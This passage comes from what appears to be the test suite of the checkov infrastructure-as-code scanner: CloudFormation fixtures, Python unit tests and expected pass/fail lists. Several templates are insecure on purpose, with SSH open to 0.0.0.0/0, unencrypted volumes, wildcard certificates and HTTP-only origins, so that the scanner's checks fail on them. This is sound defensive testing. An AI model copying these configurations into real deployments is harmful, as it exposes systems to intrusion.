'/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2' Resources: EC2Instance: #SUPPRESS# Type: AWS::EC2::Instance Properties: InstanceType: !Ref 'InstanceType' SecurityGroups: [!Ref 'InstanceSecurityGroup'] KeyName: !Ref 'KeyName' ImageId: !Ref 'LatestAmiId' InstanceSecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: Enable SSH access via port 22 SecurityGroupIngress: - IpProtocol: tcp FromPort: 22 ToPort: 22 CidrIp: !Ref 'SSHLocation' Outputs: InstanceId: Description: InstanceId of the newly created EC2 instance Value: !Ref 'EC2Instance' AZ: Description: Availability Zone of the newly created EC2 instance Value: !GetAtt [EC2Instance, AvailabilityZone] PublicDNS: Description: Public DNSName of the newly created EC2 instance Value: !GetAtt [EC2Instance, PublicDnsName] PublicIP: Description: Public IP address of the newly created EC2 instance Value: !GetAtt [EC2Instance, PublicIp] ================================================ FILE: tests/cloudformation/checks/resource/aws/unused/EKSCluster.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: myCluster: Type: 'AWS::EKS::Cluster' Properties: Name: prod Version: '1.14' RoleArn: >- arn:aws:iam::012345678910:role/eks-service-role-AWSServiceRoleForAmazonEKS-EXAMPLEBQ4PI ResourcesVpcConfig: SecurityGroupIds: - sg-6979fe18 SubnetIds: - subnet-6782e71e - subnet-e7e761ac CloudWatch: ClusterLogging: True # Should list the logs too... ================================================ FILE: tests/cloudformation/checks/resource/aws/unused/ElasticsearchDomain.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: ElasticsearchDomain resource Parameters: DomainName: Description: User defined Elasticsearch Domain name Type: String ElasticsearchVersion: Description: User defined Elasticsearch Version Type: String InstanceType: Type: String AvailabilityZone: Type: String CidrBlock: Type: String AllowedPattern: '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/([0-9]|[1-2][0-9]|3[0-2]))$' #GroupDescription: # Type: String #SGName: # Type: String SecurityGroup: Description: Security Group for ALB Type: AWS::EC2::SecurityGroup::Id Default: sg-0123456789abcdefc Resources: ElasticsearchDomain: Type: AWS::Elasticsearch::Domain Properties: DomainName: !Ref DomainName EncryptionAtRestOptions: #Enabled: False Enabled: True # KmsKeyId: 1a2a3a4-1a2a-3a4a-5a6a-1a2a3a4a5a6a ########## NodeToNodeEncryptionOptions: # Enabled: False Enabled: True ElasticsearchVersion: !Ref ElasticsearchVersion ElasticsearchClusterConfig: InstanceCount: 1 InstanceType: !Ref InstanceType EBSOptions: EBSEnabled: True Iops: 0 VolumeSize: 10 VolumeType: standard SnapshotOptions: AutomatedSnapshotStartHour: 0 AccessPolicies: Version: 2012-10-17 Statement: - Effect: Deny Principal: AWS: '*' Action: 'es:*' Resource: '*' AdvancedOptions: rest.action.multi.allow_explicit_index: 'true' Tags: - Key: foo Value: bar VPCOptions: SubnetIds: - !Ref subnet SecurityGroupIds: - !Ref SecurityGroup #- !Ref mySecurityGroup vpc: Type: AWS::EC2::VPC Properties: CidrBlock: 10.0.0.0/16 subnet: Type: AWS::EC2::Subnet Properties: VpcId: !Ref vpc CidrBlock: !Ref CidrBlock AvailabilityZone: !Ref AvailabilityZone #mySecurityGroup: # Type: AWS::EC2::SecurityGroup # Properties: # GroupDescription: !Ref GroupDescription # VpcId: !Ref vpc # GroupName: !Ref SGName # SecurityGroupIngress: # - Description: 'HTTP Ingress' # FromPort: 443 # IpProtocol: tcp # ToPort: 443 # CidrIp: 0.0.0.0/0 Outputs: DomainArn: Value: !GetAtt ElasticsearchDomain.DomainArn DomainEndpoint: Value: !GetAtt ElasticsearchDomain.DomainEndpoint #SecurityGroupId: # Value: !Ref mySecurityGroup SubnetId: Value: !Ref subnet ================================================ FILE: tests/cloudformation/checks/resource/aws/unused/ec2_instance_with_ebs_volume.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: Sample EBS Volume with EC2 instance template Resources: NewVolume: Type: AWS::EC2::Volume Properties: Size: 100 #Encrypted: true Encrypted: false AvailabilityZone: !GetAtt EC2Instance.AvailabilityZone Tags: - Key: MyTag Value: TagValue DeletionPolicy: Snapshot EC2Instance: Type: AWS::EC2::Instance Properties: InstanceType: t2.nano ImageId: ami-80861296 KeyName: my-key SecurityGroupIds: - sg-abc01234 SubnetId: subnet-abc01234 Tags: - Key: Name Value: webserver BlockDeviceMappings: # Create a separate volume - DeviceName: /dev/sda11 Ebs: DeleteOnTermination: false VolumeSize: 10 VolumeType: gp2 Encrypted: True # https://aws.amazon.com/about-aws/whats-new/2019/05/launch-encrypted-ebs-backed-ec2-instances-from-unencrypted-amis-in-a-single-step/ # Volumes: # - Device: "/dev/sdf" # VolumeId: !Ref NewVolume ================================================ FILE: tests/cloudformation/checks/resource/aws/unused/ec2_sec_group_2.json ================================================ { "Description": "Create a VPC with a SG which references itself", "AWSTemplateFormatVersion": "2010-09-09", "Resources": { "vpctester": { "Type": "AWS::EC2::VPC", "Properties": { "CidrBlock": "172.16.0.0/23", "EnableDnsSupport": false, "EnableDnsHostnames": false, "InstanceTenancy": "default", "Tags": [ { "Key": "Name", "Value": "vpctester" } ] } }, "sgtester": { "Type": "AWS::EC2::SecurityGroup", "DependsOn": "vpctester", "Properties": { "GroupDescription": "vpc tester sg", "VpcId": { "Ref": "vpctester" } } }, "sgtesteringress": { "Type": "AWS::EC2::SecurityGroupIngress", "DependsOn": "sgtester", "Properties": { "GroupId": { "Ref": "sgtester" }, "IpProtocol": "tcp", "FromPort": "0", "ToPort": "65535", "SourceSecurityGroupId": { "Ref": "sgtester" } } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/unused/ec2_security_group.json ================================================ { "AWSTemplateFormatVersion" : "2010-09-09", "Description" : "Create a sec group test", "Parameters" : { "VpcId" : { "Type" : "AWS::EC2::VPC::Id", "Description" : "VpcId of your existing Virtual Private Cloud (VPC)" }, "SourceSG" : { "Type" : "AWS::EC2::SecurityGroup::Id", "Description" : "Source Security Group" } }, "Mappings" : { }, "Resources" : { "TestSecurityGroup" : { "Type" : "AWS::EC2::SecurityGroup", "Properties" : { "VpcId" : { "Ref" : "VpcId" }, "GroupDescription" : "Enable HTTP access via port 80/22/443 and ICMP access via port *", "SecurityGroupIngress" : [ {"IpProtocol" : "tcp", "FromPort" : "80", "ToPort" : "80", "CidrIp" : "0.0.0.0/0"}, {"IpProtocol" : "tcp", "FromPort" : "8888", "ToPort" : "8888", "CidrIp" : "0.0.0.0/0"}, {"IpProtocol" : "tcp", "FromPort" : "22", "ToPort" : "22", "SourceSecurityGroupId": { "Ref": "SourceSG" }, "CidrIp" : "0.0.0.0/0"} ] } } }, "Outputs" : { "WebsiteURL" : { "Description" : "URL for newly created KWOS deploy stack", "Value" : { "Fn::Join" : ["", ["http://", { "Fn::GetAtt" : [ "KWOSInstance", "PublicDnsName" ]}]] } }, "InstanceId" : { "Value" : { "Ref" : "KWOSInstance" }, "Description" : "Instance Id of newly created instance" } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/unused/ec2_with_waitcondition_template.json ================================================ { "AWSTemplateFormatVersion" : "2010-09-09", "Description" : "Create a variable number of EC2 instance resources. Source: https://github.com/awslabs/aws-cloudformation-templates/blob/master/community/services/EC2/ec2_with_waitcondition_template.json", "Parameters" : { "KeyName": { "Description" : "Name of an existing EC2 KeyPair to enable SSH access to the instance", "Type": "AWS::EC2::KeyPair::KeyName", "Default" : "slinger_testing", "ConstraintDescription" : "must be the name of an existing EC2 KeyPair." }, "InstanceName" : { "Description" : "Name of EC2 instance", "Type" : "String", "ConstraintDescription" : "must be a valid EC2 instance string name." }, "InstanceType" : { "Description" : "Basic EC2 instance type", "Type" : "String", "Default" : "c4.2xlarge", "AllowedValues" : [ "t1.micro", "t2.nano", "t2.micro", "t2.small", "t2.medium", "t2.large", "m1.small", "m1.medium", "m1.large", "m1.xlarge", "m2.xlarge", "m2.2xlarge", "m2.4xlarge", "m3.medium", "m3.large", "m3.xlarge", "m3.2xlarge", "m4.large", "m4.xlarge", "m4.2xlarge", "m4.4xlarge", "m4.10xlarge", "c1.medium", "c1.xlarge", "c3.large", "c3.xlarge", "c3.2xlarge", "c3.4xlarge", "c3.8xlarge", "c4.large", "c4.xlarge", "c4.2xlarge", "c4.4xlarge", "c4.8xlarge", "g2.2xlarge", "g2.8xlarge", "r3.large", "r3.xlarge", "r3.2xlarge", "r3.4xlarge", "r3.8xlarge", "i2.xlarge", "i2.2xlarge", "i2.4xlarge", "i2.8xlarge", "d2.xlarge", "d2.2xlarge", "d2.4xlarge", "d2.8xlarge", "hi1.4xlarge", "hs1.8xlarge", "cr1.8xlarge", "cc2.8xlarge", "cg1.4xlarge"] , "ConstraintDescription" : "must be a valid EC2 instance type." }, "InstanceCount" : { "Description" : "Basic EC2 instance count", "Type" : "String", "Default" : "1", "ConstraintDescription" : "must be a valid EC2 instance count." }, "ImageId" : { "Description" : "Basic instance ami", "Type" : "String" }, "VpcId" : { "Type" : "String", "Description" : "VpcId of your existing Virtual Private Cloud (VPC)" }, "SubnetId" : { "Type" : "String", "Description" : "SubnetId of an existing subnet in your Virtual Private Cloud (VPC)" }, "SSHLocation" : { "Description" : " The IP address range that can be used to SSH to the EC2 instances", "Type": "String", "MinLength": "9", "MaxLength": "18", "Default": "0.0.0.0/0", "AllowedPattern": "(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})", "ConstraintDescription": "must be a valid IP CIDR range of the form x.x.x.x/x." }, "BudgetCode" : { "Description" : " Budget code to save money", "Type" : "String", "Default" : "A019517", "ConstraintDescription" : "must be a valid budget code." }, "LaunchPlatform" : { "Description" : " Mark current platform", "Type" : "String", "Default" : "bitstorm_dev", "ConstraintDescription" : "must be a valid platform like bitstorm_qc bitstorm_dev bitstorm_staggin bitstorm_live." }, "LaunchUser" : { "Description" : " Mark current tester", "Type" : "String", "Default" : "null", "ConstraintDescription" : "must be a valid and existing tester." }, "TestID" : { "Description" : " Mark current testcase", "Type" : "String", "ConstraintDescription" : "must be a valid and existing testcase id." }, "TestTarget" : { "Description" : " Mark current test target", "Type" : "String", "ConstraintDescription" : "must be a valid and existing test target name." }, "AgentID" : { "Description" : " Mark current agent", "Type" : "String" }, "IsMaster" : { "Description" : "Mark master agent", "Type" : "String", "Default" : "False" }, "MasterID" : { "Description" : "Mark master ID", "Type" : "String", "Default" : "null" } }, "Mappings" : { }, "Resources" : { "KWOSInstance": { "Type": "AWS::EC2::Instance", "Metadata": { "AWS::CloudFormation::Init": { } }, "Properties": { "ImageId": { "Ref": "ImageId" }, "InstanceType": { "Ref": "InstanceType" }, "SubnetId": { "Ref": "SubnetId" }, "SecurityGroupIds": [ { "Ref": "KWOSSecurityGroup" } ], "KeyName": { "Ref": "KeyName" }, "Tags": [ { "Key": "LaunchPlatform", "Value": { "Ref": "LaunchPlatform" } }, { "Key": "LaunchUser", "Value": { "Ref": "LaunchUser" } }, { "Key": "TestID", "Value": { "Ref": "TestID" } }, { "Key": "Name", "Value": { "Ref": "InstanceName" } }, { "Key": "BudgetCode", "Value": { "Ref": "BudgetCode" } }, { "Key": "TestTarget", "Value": { "Ref": "TestTarget" } }, { "Key": "AgentID", "Value": { "Ref": "AgentID" } }, { "Key": "IsMaster", "Value": { "Ref": "IsMaster" } }, { "Key": "MasterID", "Value": { "Ref": "MasterID" } } ], "Monitoring": false, "UserData": { "Fn::Base64": { "Fn::Join": [ "", [ "#!/bin/bash\n", "apt-get -y install python-pip\n", "pip install https://s3.amazonaws.com/cloudformation-examples/aws-cfn-bootstrap-latest.tar.gz\n", "# Helper function\n", "function error_exit\n", "{\n", " /usr/local/bin/cfn-signal -e 1 -r \"$1\" '", { "Ref": "KWOSWaitHandle" }, "'\n", " exit 1\n", "}\n", "# Install the basic system configuration\n", "/usr/local/bin/cfn-init -s ", { "Ref": "AWS::StackId" }, " -r KWOSInstance ", " --region ", { "Ref": "AWS::Region" }, " || error_exit 'Failed to run cfn-init'\n", "# All done so signal success\n", "/usr/local/bin/cfn-signal -e 0 -r \"KWOS setup complete\" '", { "Ref": "KWOSWaitHandle" }, "'\n" ] ] } } } }, "KWOSWaitHandle": { "Type": "AWS::CloudFormation::WaitConditionHandle" }, "KWOSWaitCondition": { "Type": "AWS::CloudFormation::WaitCondition", "Properties": { "Handle": { "Ref": "KWOSWaitHandle" }, "Timeout": "300" } }, "KWOSSecurityGroup" : { "Type" : "AWS::EC2::SecurityGroup", "Properties" : { "VpcId" : { "Ref" : "VpcId" }, "GroupDescription" : "Enable HTTP access via port 80/22/443 and ICMP access via port *", "SecurityGroupIngress" : [ {"IpProtocol" : "tcp", "FromPort" : "80", "ToPort" : "80", "CidrIp" : "0.0.0.0/0"}, {"IpProtocol" : "tcp", "FromPort" : "8888", "ToPort" : "8888", "CidrIp" : "0.0.0.0/0"}, {"IpProtocol" : "tcp", "FromPort" : "443", "ToPort" : "443", "CidrIp" : "0.0.0.0/0"}, {"IpProtocol" : "icmp", "FromPort" : "8", "ToPort" : "-1", "CidrIp" : "0.0.0.0/0" }, {"IpProtocol" : "tcp", "FromPort" : "22", "ToPort" : "22", "CidrIp" : { "Ref" : "SSHLocation"}} ] } } }, "Outputs" : { "WebsiteURL" : { "Description" : "URL for newly created KWOS deploy stack", "Value" : { "Fn::Join" : ["", ["http://", { "Fn::GetAtt" : [ "KWOSInstance", "PublicDnsName" ]}]] } }, "InstanceId" : { "Value" : { "Ref" : "KWOSInstance" }, "Description" : "Instance Id of newly created instance" } } } ================================================ FILE: tests/cloudformation/checks/test_wildcard_entities.py ================================================ import os import unittest from checkov.common.models.enums import CheckCategories, CheckResult from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.cloudformation.checks.resource.registry import cfn_registry as registry from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class ArmCheck(BaseResourceCheck): def __init__(self): name = "Cloudformation test" id = "CKV_T_1" supported_resources = ['AWS::ElasticLoadBalancing*::Listener', 'AWS::ElasticLoadBalancingV2*T*'] categories = [CheckCategories.APPLICATION_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): return CheckResult.PASSED class TestWildcardEntities(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) check = ArmCheck() test_files_dir = current_dir + "/example_WildcardEntities" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() registry.wildcard_checks['AWS::ElasticLoadBalancing*::Listener'].remove(check) registry.wildcard_checks['AWS::ElasticLoadBalancingV2*T*'].remove(check) # Only for resource and nof for data "aws_iam_policy_document" self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/file_formats/json_with_space/test_json_with_space.json ================================================ { "AWSTemplateFormatVersion" : "2010-09-09", "Resources": { "MySourceQueue": { "Type": "AWS::SQS::Queue", "Properties": { "KmsMasterKeyId": "kms_id" } } } } ================================================ FILE: tests/cloudformation/file_formats/json_with_tabs/test_json_with_tabs.json ================================================ { "AWSTemplateFormatVersion" : "2010-09-09", "Resources": { "MySourceQueue": { "Type": "AWS::SQS::Queue", "Properties": { "KmsMasterKeyId": "kms_id" } } } } ================================================ FILE: tests/cloudformation/file_formats/test_json_with_space.py ================================================ import os import unittest from checkov.cloudformation.runner import Runner class TestJsonFileFormat(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/json_with_space" report = runner.run(root_folder=test_files_dir) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/file_formats/test_json_with_tabs.py ================================================ import os import unittest from checkov.cloudformation.runner import Runner class TestJsonFileFormat(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/json_with_tabs" report = runner.run(root_folder=test_files_dir) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/file_formats/test_yaml.py ================================================ import os import unittest from checkov.cloudformation.runner import Runner class TestYamlFileFormat(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/yaml" report = runner.run(root_folder=test_files_dir) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/file_formats/yaml/test_yaml.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: MySourceQueue: Type: AWS::SQS::Queue Properties: KmsMasterKeyId: "kms_id" ================================================ FILE: tests/cloudformation/graph/__init__.py ================================================ ================================================ FILE: tests/cloudformation/graph/checks/__init__.py ================================================ ================================================ FILE: tests/cloudformation/graph/checks/resources/ACMWildcardDomainName/expected.yaml ================================================ pass: - "AWS::CertificateManager::Certificate.ExamplePassCertificate" - "AWS::CertificateManager::Certificate.ExamplePass2Certificate" fail: - "AWS::CertificateManager::Certificate.ExampleFailCertificate" - "AWS::CertificateManager::Certificate.ExampleFailBadSubjectCertificate" - "AWS::CertificateManager::Certificate.ExampleFailBadDomainCertificate" evaluated_keys: - "DomainName" - "SubjectAlternativeNames" - "SubjectAlternativeNames/*" ================================================ FILE: tests/cloudformation/graph/checks/resources/ACMWildcardDomainName/template.yaml ================================================ Resources: ExamplePassCertificate: Type: "AWS::CertificateManager::Certificate" Properties: DomainName: "www.example.com" ValidationMethod: "DNS" DomainValidationOptions: - DomainName: "www.example.com" ValidationDomain: "example.com" ExamplePass2Certificate: Type: "AWS::CertificateManager::Certificate" Properties: DomainName: "example.com" ValidationMethod: "DNS" SubjectAlternativeNames: - "www.example.com" - "blog.example.com" - "shop.example.com" ExampleFailCertificate: Type: "AWS::CertificateManager::Certificate" Properties: DomainName: "*.example.com" ValidationMethod: "DNS" DomainValidationOptions: - DomainName: "*.example.com" ValidationDomain: "example.com" ExampleFailBadSubjectCertificate: Type: "AWS::CertificateManager::Certificate" Properties: DomainName: "example.com" ValidationMethod: "DNS" SubjectAlternativeNames: - "*.sub.example.com" - "www.example.com" - "api.example.com" ExampleFailBadDomainCertificate: Type: "AWS::CertificateManager::Certificate" Properties: DomainName: "*example.com" ValidationMethod: "DNS" SubjectAlternativeNames: - "sub.example.com" - "www.example.com" - "api.example.com" ================================================ FILE: tests/cloudformation/graph/checks/resources/ALBRedirectHTTPtoHTTPS/expected.yaml ================================================ pass: - 'AWS::ElasticLoadBalancingV2::LoadBalancer.LoadBalancerPASSED1' - 'AWS::ElasticLoadBalancingV2::LoadBalancer.LoadBalancerPASSED2' - 'AWS::ElasticLoadBalancingV2::LoadBalancer.LoadBalancerPASSED3' - 'AWS::ElasticLoadBalancingV2::LoadBalancer.LoadBalancerPASSED4' fail: - 'AWS::ElasticLoadBalancingV2::LoadBalancer.LoadBalancerFAILED1' - 'AWS::ElasticLoadBalancingV2::LoadBalancer.LoadBalancerFAILED2' evaluated_keys: - 'resource_type' - 'DefaultActions/RedirectConfig/Protocol' - 'Port' - 'DefaultActions/RedirectConfig/Port' - 'DefaultActions/Type' - 'Protocol' ================================================ FILE: tests/cloudformation/graph/checks/resources/ALBRedirectHTTPtoHTTPS/template.yaml ================================================ Description: > This template deploys an Application Load Balancer with HTTPS listener only Parameters: VPC: Type: AWS::EC2::VPC::Id Description: Choose which VPC the Application Load Balancer should be deployed to Subnets: Description: Choose a minimum of 2 subnets the ALB should be deployed to Type: List Resources: LoadBalancerPASSED1: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest1 Subnets: !Ref Subnets SecurityGroups: - sg-0123456789abcdefc LoadBalancerPASSED2: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest2 Subnets: !Ref Subnets SecurityGroups: - sg-0123456789abcdefc LoadBalancerPASSED3: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest3 Subnets: !Ref Subnets SecurityGroups: - sg-0123456789abcdefc LoadBalancerPASSED4: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest4 Subnets: !Ref Subnets SecurityGroups: - sg-0123456789abcdefc LoadBalancerFAILED1: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest5 Subnets: !Ref Subnets SecurityGroups: - sg-0123456789abcdefc LoadBalancerFAILED2: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest6 Subnets: !Ref Subnets SecurityGroups: - sg-0123456789abcdefc ListenerHTTPSPASSED1: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref LoadBalancerPASSED1 Port: 443 Protocol: HTTPS Certificates: - CertificateArn: test SslPolicy: ELBSecurityPolicy-TLS-1-2-Ext-2018-06 DefaultActions: - Type: forward TargetGroupArn: targetGroup ListenerHTTPPASSED2: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref LoadBalancerPASSED2 Port: 80 Protocol: HTTP DefaultActions: - Type: "redirect" RedirectConfig: Protocol: "HTTPS" Port: "443" Host: "#{host}" Path: "/#{path}" Query: "#{query}" StatusCode: "HTTP_301" ListenerTCPPASSED3: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref LoadBalancerPASSED3 Port: 53 Protocol: TCP DefaultActions: - Type: forward TargetGroupArn: targetGroup ListenerUDPPASSED4: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref LoadBalancerPASSED4 Port: 53 Protocol: UDP DefaultActions: - Type: forward TargetGroupArn: targetGroup ListenerHTTPFAILED1: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref LoadBalancerFAILED1 Port: 80 Protocol: HTTP DefaultActions: - Type: forward TargetGroupArn: targetGroup ListenerHTTPFAILED2: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref LoadBalancerFAILED2 Port: 80 Protocol: "HTTP" DefaultActions: - Type: "redirect" RedirectConfig: Protocol: "HTTP" Port: "8080" Host: "#{host}" Path: "/#{path}" Query: "#{query}" StatusCode: "HTTP_301" ================================================ FILE: tests/cloudformation/graph/checks/resources/AppSyncProtectedByWAF/expected.yaml ================================================ pass: - "AWS::AppSync::GraphQLApi.GoodAppSyncGraphQLApi" fail: - "AWS::AppSync::GraphQLApi.NoWAFAppSyncGraphQLApi" evaluated_keys: - "resource_type" ================================================ FILE: tests/cloudformation/graph/checks/resources/AppSyncProtectedByWAF/template.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: "AppSync-WAF-Enabled" Resources: GoodAppSyncGraphQLApi: Type: "AWS::AppSync::GraphQLApi" Properties: Name: "My Checkov Test App" AuthenticationType: "API_KEY" XrayEnabled: false GoodWAFv2WebACL: Type: "AWS::WAFv2::WebACL" Properties: Name: "Checkov-ACL" Description: "Checkov-ACL" DefaultAction: Block: {} VisibilityConfig: SampledRequestsEnabled: true CloudWatchMetricsEnabled: true MetricName: "Checkov-ACL" Scope: "REGIONAL" WebACLAssociation: Type: AWS::WAFv2::WebACLAssociation Properties: ResourceArn: !GetAtt GoodAppSyncGraphQLApi.Arn WebACLArn: !GetAtt GoodWAFv2WebACL.Arn NoWAFAppSyncGraphQLApi: Type: "AWS::AppSync::GraphQLApi" Properties: Name: "My Checkov Test App with no WAF" AuthenticationType: "API_KEY" XrayEnabled: false ================================================ FILE: tests/cloudformation/graph/checks/resources/CloudfrontOriginNotHTTPSOnly/expected.yaml ================================================ pass: - "AWS::CloudFront::Distribution.ExamplePassDisabledDistribution" - "AWS::CloudFront::Distribution.ExamplePassNoCustomOriginDistribution" - "AWS::CloudFront::Distribution.ExamplePassHttpsOnlyDistribution" - "AWS::CloudFront::Distribution.ExamplePassDomainDistribution" fail: - "AWS::CloudFront::Distribution.ExampleFailDistribution" - "AWS::CloudFront::Distribution.ExampleFailOneGoodOneBadDistribution" - "AWS::CloudFront::Distribution.ExampleFailOneMissingOneBadDistribution" evaluated_keys: - "DistributionConfig/Enabled" - "DistributionConfig/Origins[?(@/CustomOriginConfig/OriginProtocolPolicy != 'https-only')]/DomainName" - "DistributionConfig/Origins/*/CustomOriginConfig" ================================================ FILE: tests/cloudformation/graph/checks/resources/CloudfrontOriginNotHTTPSOnly/template.yaml ================================================ Resources: # Pass: enabled=false ExamplePassDisabledDistribution: Type: "AWS::CloudFront::Distribution" Properties: DistributionConfig: Enabled: false # disabled Origins: - DomainName: "example.data.mediastore.amazonaws.com" # contains dangerous domain name Id: "custom-origin-example" CustomOriginConfig: OriginProtocolPolicy: "match-viewer" # Does not enforce HTTPS only, matches RQL condition to fail HTTPPort: 80 HTTPSPort: 443 OriginSSLProtocols: - "TLSv1" - "TLSv1.1" - "TLSv1.2" DefaultCacheBehavior: TargetOriginId: "custom-origin-example" ViewerProtocolPolicy: "redirect-to-https" AllowedMethods: - "GET" - "HEAD" CachedMethods: - "GET" - "HEAD" ForwardedValues: QueryString: false Cookies: Forward: "none" MinTTL: 0 DefaultTTL: 3600 MaxTTL: 86400 Restrictions: GeoRestriction: RestrictionType: "none" ViewerCertificate: CloudFrontDefaultCertificate: true # Pass: enabled=true; no custom_origin_config ExamplePassNoCustomOriginDistribution: Type: "AWS::CloudFront::Distribution" Properties: DistributionConfig: Enabled: true # enabled Origins: - DomainName: "example.data.mediastore.amazonaws.com" # contains dangerous domain name Id: "custom-origin-example" # No CustomOriginConfig DefaultCacheBehavior: TargetOriginId: "custom-origin-example" ViewerProtocolPolicy: "redirect-to-https" AllowedMethods: - "GET" - "HEAD" CachedMethods: - "GET" - "HEAD" ForwardedValues: QueryString: false Cookies: Forward: "none" MinTTL: 0 DefaultTTL: 3600 MaxTTL: 86400 Restrictions: GeoRestriction: RestrictionType: "none" ViewerCertificate: CloudFrontDefaultCertificate: true # Pass: enabled=true; custom_origin_config->origin_protocol_policy=https-only ExamplePassHttpsOnlyDistribution: Type: "AWS::CloudFront::Distribution" Properties: DistributionConfig: Enabled: true # enabled Origins: - DomainName: "example.data.mediastore.amazonaws.com" # contains dangerous domain name Id: "custom-origin-example" CustomOriginConfig: OriginProtocolPolicy: "https-only" # HTTPS only HTTPPort: 80 HTTPSPort: 443 OriginSSLProtocols: - "TLSv1" - "TLSv1.1" - "TLSv1.2" DefaultCacheBehavior: TargetOriginId: "custom-origin-example" ViewerProtocolPolicy: "redirect-to-https" AllowedMethods: - "GET" - "HEAD" CachedMethods: - "GET" - "HEAD" ForwardedValues: QueryString: false Cookies: Forward: "none" MinTTL: 0 DefaultTTL: 3600 MaxTTL: 86400 Restrictions: GeoRestriction: RestrictionType: "none" ViewerCertificate: CloudFrontDefaultCertificate: true # Pass: enabled=true; custom_origin_config->origin_protocol_policy=match-viewer; domain_name does not contain dangerous domains ExamplePassDomainDistribution: Type: "AWS::CloudFront::Distribution" Properties: DistributionConfig: Enabled: true # enabled Origins: - DomainName: "example.com" # safe domain Id: "custom-origin-example" CustomOriginConfig: OriginProtocolPolicy: "match-viewer" # Does not enforce HTTPS only, matches RQL condition to fail HTTPPort: 80 HTTPSPort: 443 OriginSSLProtocols: - "TLSv1" - "TLSv1.1" - "TLSv1.2" DefaultCacheBehavior: TargetOriginId: "custom-origin-example" ViewerProtocolPolicy: "redirect-to-https" AllowedMethods: - "GET" - "HEAD" CachedMethods: - "GET" - "HEAD" ForwardedValues: QueryString: false Cookies: Forward: "none" MinTTL: 0 DefaultTTL: 3600 MaxTTL: 86400 Restrictions: GeoRestriction: RestrictionType: "none" ViewerCertificate: CloudFrontDefaultCertificate: true # Fail: enabled=true; origin->custom_origin_config->origin_protocol_policy=match-viewer; domain_name contains "mediastore" ExampleFailDistribution: Type: "AWS::CloudFront::Distribution" Properties: DistributionConfig: Enabled: true # enabled Origins: - DomainName: "example.data.mediastore.amazonaws.com" # contains dangerous domain name Id: "custom-origin-example" CustomOriginConfig: OriginProtocolPolicy: "match-viewer" # Does not enforce HTTPS only, matches RQL condition to fail HTTPPort: 80 HTTPSPort: 443 OriginSSLProtocols: - "TLSv1" - "TLSv1.1" - "TLSv1.2" DefaultCacheBehavior: TargetOriginId: "custom-origin-example" ViewerProtocolPolicy: "redirect-to-https" AllowedMethods: - "GET" - "HEAD" CachedMethods: - "GET" - "HEAD" ForwardedValues: QueryString: false Cookies: Forward: "none" MinTTL: 0 DefaultTTL: 3600 MaxTTL: 86400 Restrictions: GeoRestriction: RestrictionType: "none" ViewerCertificate: CloudFrontDefaultCertificate: true # Fail: enabled=true; one good origin, one bad origin ExampleFailOneGoodOneBadDistribution: Type: "AWS::CloudFront::Distribution" Properties: DistributionConfig: Enabled: true # enabled Origins: - DomainName: "example.com" # safe domain Id: "custom-origin-example-good" CustomOriginConfig: OriginProtocolPolicy: "https-only" # HTTPS only HTTPPort: 80 HTTPSPort: 443 OriginSSLProtocols: - "TLSv1" - "TLSv1.1" - "TLSv1.2" - DomainName: "example.data.mediastore.amazonaws.com" # contains dangerous 